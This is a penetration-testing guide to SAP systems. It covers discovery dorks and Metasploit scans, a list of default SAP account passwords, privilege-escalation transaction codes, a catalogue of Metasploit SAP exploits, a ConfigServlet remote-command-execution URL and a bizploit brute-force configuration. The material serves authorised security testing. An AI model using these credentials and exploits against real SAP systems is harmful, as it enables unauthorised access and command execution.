Pentesting SAP

Introduction about SAP
SAP stands for Systems Applications and Products in Data Processing. SAP, by definition, is also the name of the ERP (Enterprise Resource Planning) software as well as the name of the company.
SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.
Each SAP instance (or SID) is composed of three layers: database, application and presentation), each landscape usually consists of four instances: dev, test, QA and production.
Each of the layers can be exploited to some extent, but most effect can be gained by attacking the database.
Each SAP instance is divided into clients. Each one has a user SAP*, the application’s equivalent of “root”.
Upon initial creation, this user SAP* gets a default password: “060719992” (more default password below).
You’d be surprised if you knew how often these passwords aren’t changed in test or dev environments!
Try to get access to the shell of any server using username <SID>adm.
Bruteforcing can help, whoever there can be Account Lockout mechanism.
Discovery
Next section is mostly from https://github.com/shipcod3/mySapAdventures from user shipcod3!
Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
Use OSINT (open source intelligence), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
1
inurl:50000/irj/portal
2
inurl:IciEventService/IciEventConf
3
inurl:/wsnavigator/jsps/test.jsp
4
inurl:/irj/go/km/docs/
5
https://www.shodan.io/search?query=sap+portal
6
https://www.shodan.io/search?query=SAP+Netweaver
7
https://www.shodan.io/search?query=SAP+J2EE+Engine
Copied!
Here is what http://SAP:50000/irj/portal looks like
alt text
Use nmap to check for open ports and known services (sap routers, webdnypro, web services, web servers, etc.)
Crawl the URLs if there is a web server running.
Fuzz the directories (you can use Burp Intruder) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files:
​https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt​
Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components:
1
msf > use auxiliary/scanner/sap/sap_service_discovery
2
msf auxiliary(sap_service_discovery) > show options
3
Module options (auxiliary/scanner/sap/sap_service_discovery):
4
   Name         Current Setting  Required  Description
5
   ----         ---------------  --------  -----------
6
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
7
   INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
8
   RHOSTS                        yes       The target address range or CIDR identifier
9
   THREADS      1                yes       The number of concurrent threads
10
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds
11
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
12
rhosts => 192.168.96.101
13
msf auxiliary(sap_service_discovery) > run
14
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'
Copied!
Testing the Thick Client / SAP GUI
Here is the command to connect to SAP GUI
sapgui <sap server hostname> <system number>
Check for default credentials (In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration | Using Default Credentials | Production Server):
1
# SAP* - High privileges - Hardcoded kernel user
2
SAP*:06071992:*
3
SAP*:PASS:*
4
# IDEADM - High Privileges - Only in IDES systems
5
IDEADM:admin:*
6
# DDIC - High privileges - User has SAP_ALL
7
DDIC:19920706:000,001
8
# EARLYWATCH - High privileges
9
EARLYWATCH:SUPPORT:066
10
# TMSADM - Medium privileges
11
TMSADM:PASSWORD:000
12
TMSADM:$1Pawd2&:000
13
# SAPCPIC - Medium privileges
14
SAPCPIC:ADMIN:000,001
15
# SOLMAN dialog default users and passwords.
16
# For more info check:
17
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
18
# https://launchpad.support.sap.com/#/notes/2293011
19
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
20
SOLMAN_ADMIN:init1234:*
21
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
22
SAPSUPPORT:init1234:*
23
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
24
#SOLMAN<SID><CLNT>:init1234:*
25
# Trial systems
26
# -------------
27
# AS ABAP 7.40 SP08 Developer Edition:
28
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
29
DDIC:DidNPLpw2014:001
30
SAP*:DidNPLpw2014:001
31
DEVELOPER:abCd1234:001
32
BWDEVELOPER:abCd1234:001
33
# AS ABAP 7.50 SP02 Developer Edition:
34
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
35
# AS ABAP 7.51 SP02 Developer Edition:
36
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
37
DDIC:Appl1ance:000,001
38
SAP*:Appl1ance:000,001
39
DEVELOPER:Appl1ance:001
40
BWDEVELOPER:Appl1ance:001
41
# AS ABAP 7.51 SP01 Developer Edition:
42
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
43
# AS ABAP 7.52 SP04 Developer Edition:
44
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
45
DDIC:Down1oad:000,001
46
SAP*:Down1oad:000,001
47
DEVELOPER:Down1oad:001
48
BWDEVELOPER:Down1oad:001
Copied!
Run Wireshark then authenticate to the client (SAP GUI) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
Check for privilege escalations like using some SAP Transaction Codes (tcodes) for low-privilege users: SU01 - To create and maintain the users SU01D - To Display Users SU10 - For mass maintenance SU02 - For Manual creation of profiles SM19 - Security audit - configuration SE84 - Information System for SAP R/3 Authorizations
Check if you can execute system commands / run scripts in the client.
Check if you can do XSS on BAPI Explorer
Testing the web interface
Crawl the URLs (see discovery phase).
Fuzz the URLs like in the discovery phase. Here is what http://SAP:50000/index.html looks like:
alt text
Look for common web vulnerabilities (Refer to OWASP Top 10) because there are XSS, RCE, XXE, etc. vulnerabilities in some places.
Check out Jason Haddix’s “The Bug Hunters Methodology” for testing web vulnerabilities.
Auth Bypass via verb Tampering? Maybe :)
Open http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users (Vulnerability Reference: ERPSCAN-16-010 )
Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s Vulnerability Rating Taxonomy: Broken Authentication and Session Management | Weak Login Function Over HTTP. Hint: Check out http://SAP:50000/startPage too or the logon portals :)
alt text
Try /irj/go/km/navigation/ for possible directory listing or authentication bypass
​http://SAP/sap/public/info contains some juicy information:
1
This XML file does not appear to have any style information associated with it. The document tree is shown below.
2
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
3
<SOAP-ENV:Body>
4
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
5
<RFCSI>
6
<RFCPROTO>011</RFCPROTO>
7
<RFCCHARTYP>4102</RFCCHARTYP>
8
<RFCINTTYP>BIG</RFCINTTYP>
9
<RFCFLOTYP>IE3</RFCFLOTYP>
10
<RFCDEST>randomnum</RFCDEST>
11
<RFCHOST>randomnum</RFCHOST>
12
<RFCSYSID>BRQ</RFCSYSID>
13
<RFCDATABS>BRQ</RFCDATABS>
14
<RFCDBHOST>randomnum</RFCDBHOST>
15
<RFCDBSYS>ORACLE</RFCDBSYS>
16
<RFCSAPRL>740</RFCSAPRL>
17
<RFCMACH>324</RFCMACH>
18
<RFCOPSYS>AIX</RFCOPSYS>
19
<RFCTZONE>-25200</RFCTZONE>
20
<RFCDAYST/>
21
<RFCIPADDR>192.168.1.8</RFCIPADDR>
22
<RFCKERNRL>749</RFCKERNRL>
23
<RFCHOST2>randomnum</RFCHOST2>
24
<RFCSI_RESV/>
25
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
26
</RFCSI>
27
</rfc:RFC_SYSTEM_INFO.Response>
28
</SOAP-ENV:Body>
29
</SOAP-ENV:Envelope>
Copied!
Attack!
Check if it runs on old servers or technologies like Windows 2000.
Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery (auxiliary modules) and exploits:
1
msf > search sap
2
Matching Modules
3
================
4
   Name                                                                     Disclosure Date  Rank       Description
5
   ----                                                                     ---------------  ----       -----------
6
   auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
7
   auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
8
   auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
9
   auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
10
   auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
11
   auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
12
   auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
13
   auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
14
   auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
15
   auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
16
   auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
17
   auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
18
   auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
19
   auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
20
   auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
21
   auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
22
   auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
23
   auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
24
   auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
25
   auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
26
   auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
27
   auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
28
   auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
29
   auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
30
   auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
31
   auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
32
   auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
33
   auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
34
   auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
35
   auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
36
   auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
37
   auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
38
   auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
39
   auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
40
   auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
41
   auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
42
   auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
43
   auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
44
   auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
45
   auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
46
   auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
47
   auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
48
   auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
49
   auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
50
   auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
51
   exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
52
   exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
53
   exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
54
   exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
55
   exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
56
   exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
57
   exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
58
   exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
59
   exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
60
   exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
61
   exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
62
   exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
Copied!
Try to use some known exploits (check out Exploit-DB) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
1
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
Copied!
alt text
Before running the start command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
1
bizploit> plugins
2
bizploit/plugins> vulnassess all
3
bizploit/plugins> vulnassess config bruteLogin
4
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
5
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
6
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
7
bizploit/plugins/vulnassess/config:bruteLogin> back
8
bizploit/plugins> vulnassess config registerExtServer
9
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
10
bizploit/plugins/vulnassess/config:registerExtServer> back
11
bizploit/plugins> vulnassess config checkRFCPrivs
12
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
13
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
14
bizploit/plugins> vulnassess config icmAdmin
15
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
16
bizploit/plugins/vulnassess/config:icmAdmin> back
17
bizploit/plugins> start
18
bizploit/plugins> back
19
bizploit> start
Copied!
Other Useful Tools for Testing
​PowerSAP - Powershell tool to assess sap security
​Burp Suite - a must have for directory fuzzing and web security assessments
​pysap - Python library to craft SAP network protocol packets
​https://github.com/gelim/nmap-erpscan - Help nmap to detect SAP/ERP
References
​SAP Penetration Testing Using Metasploit​
​https://github.com/davehardy20/SAP-Stuff - a script to semi-automate Bizploit
​SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application​
​List of ABAP-transaction codes related to SAP security​
​Breaking SAP Portal​
​Top 10 most interesting SAP vulnerabilities and attacks​
​Assessing the security of SAP ecosystems with bizploit: Discovery​
​https://www.exploit-db.com/docs/43859​
​https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/​
​https://github.com/shipcod3/mySapAdventures​

Scanner and Fax

Next - Pentesting

Pentesting Kubernetes

Last modified 4mo ago

Copy link

Contents

Introduction about SAP

Discovery

Testing the Thick Client / SAP GUI

Testing the web interface

Attack!

Other Useful Tools for Testing

References